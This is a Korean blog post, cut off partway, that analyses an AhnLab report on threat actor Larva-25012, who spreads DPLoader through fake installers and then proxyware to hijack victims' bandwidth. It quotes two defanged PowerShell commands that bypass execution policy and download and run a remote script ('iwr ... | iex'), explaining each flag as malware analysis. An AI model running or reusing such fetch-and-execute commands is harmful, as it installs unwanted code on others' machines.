Haeyul Blog

[ASEC] Larva-25012 공격자의 유포 사례 문서 분석

5 min read

Larva-25012란?

Ahnlab에서 추적하는 위협 행위자인 Larva-25012는 proxyjacking이라는 사용자의 허가 없이 대상 네트워크 대역폭을 이용하여 사익을 챙겼던 사건이 있었던 사람입니다.

[사용자]
   │
   │ 무료 YouTube 다운로드 / 크랙·키젠 사이트 등
   ▼
[악성 광고 / 위장 다운로드 페이지]
   │
   ▼
[정상 프로그램으로 위장한 Installer]
   │
   │ AutoClicker, WinMemoryCleaner,
   │ SteamCleaner, Notepad++ 등으로 위장
   ▼
[DPLoader 설치]
   │
   ├── 작업 스케줄러 등에 등록 → 지속성 확보
   │
   └── C&C 서버와 통신
              │
              ▼
        [명령 / PowerShell 전달]
              │
              ▼
       [Proxyware 설치]
              │
       ┌──────┼─────────┐
       ▼      ▼         ▼
 DigitalPulse Honeygain Infatica ...
              │
              ▼
     피해자 인터넷 대역폭 공유
              │
              ▼
        공격자가 수익 획득

위와 같은 경로를 통해서 Larva-25012는 무료 유튜브 영상 다운로드 사이트로 위장하여 유튜브를 다운로드할려는 사용자에게 정상 프로그램으로 위장한 Installer를 통해 DPLoader를 설치시켰습니다. 이후 DPLoader가 작동하면서 C2 서버와 통신하여 PowerShell을 실행하였고, 이를 통해서 Proxyware라는 프로그램을 대상 컴퓨터에 다운로드하여 해당 컴퓨터 대역폭을 통해서 자신의 사익을 챙겼습니다.

Proxyware란? Proxyware는 자신의 남는 네트워크 대역폭을 빌려주는 대신 돈을 받 프로그램 자체는 악의적인 프로그램이 아닙니다.

ProxyJacking 공격이란?

ProcyJacking 공격은 사용자의 동의 없이 Proxyware를 설치하여 인터넷 대역폭의 일부를 공유하고 이를 바탕으로 공격자들이 수익을 얻는 공격 방법입니다. 이 경우 Cryptojacking 공격과 유사하지만 Proxyware 대신 코인 마이너를 설치하여 수익을 창출한다는 차이점이 있습니다.

공격 경로 및 동작 원리

1. DigitalPulse

공격자는 미리 설치된 DPLoader를 통해서 JS 기반의 DigitalPulse Proxyware를 설치합니다.

cmd.exe /d /s /c “powershell.exe -ExecutionPolicy Bypass -Command \”$scriptUrl = ‘hxxps://pub-43fc211373d547278dd3d5bd0b4d9dac.r2[.]dev/87648736456384.ps1’; $tempScriptPath = [System.IO.Path]::Combine($env:TEMP, ‘tmp.ps1’); …

  • /d : 레지스트리에 설정된 AutoRun 명령 실행을 비활성화

  • /s : /c 뒤에 전달되는 문자열의 따움표 처리 방식을 조정

  • /c : 뒤 명령을 실행하고 cmd.exe 종료하는 옵션

  • ExecutionPolicy : PowerShell 스크립트 실행 정책

    • Bypass : 실행 과정에서 차단/경고를 적용하지 않는다.

  • -Command : 뒤에 오는 PowerShell 명령을 실행하는 옵션

  • [.] : URL을 그대로 클릭 혹은 접근하는 것을 방지하는 defanging 표현

  • $env:TEMP : PowerShell에서 TEMP의 값을 가져옴

  • [System.IO.Path]::Combine($env:TEMP, 'tmp.ps1) : TEMP 값에

위 코드는 powershell.exe를 통해서 hxxps://pub..[.]dev/87648736456384.ps1 해당 powershell 스크립트를 실행하는 명령입니다.

cmd.exe
 │
 ├─ /d
 │   └─ AutoRun 영향 억제
 │
 ├─ /s
 │   └─ 명령 문자열/따옴표 처리
 │
 └─ /c
     └─ 명령 실행 후 cmd 종료
            │
            ▼
      powershell.exe
            │
            ├─ -ExecutionPolicy Bypass
            │      └─ PowerShell 실행 정책 우회
            │
            └─ -Command
                   └─ 전달된 PowerShell 코드 실행
                           │
                           ├─ $scriptUrl
                           │     └─ 원격 PS1 URL 지정
                           │
                           └─ $tempScriptPath
                                 └─ %TEMP%\tmp.ps1 경로 생성
powershell.exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxps://pub-43fc211373d547278dd3d5bd0b4d9dac.r2[.]dev/87648736456384.ps1 | iex”

다음과 같은 명령을 통해서

Graph View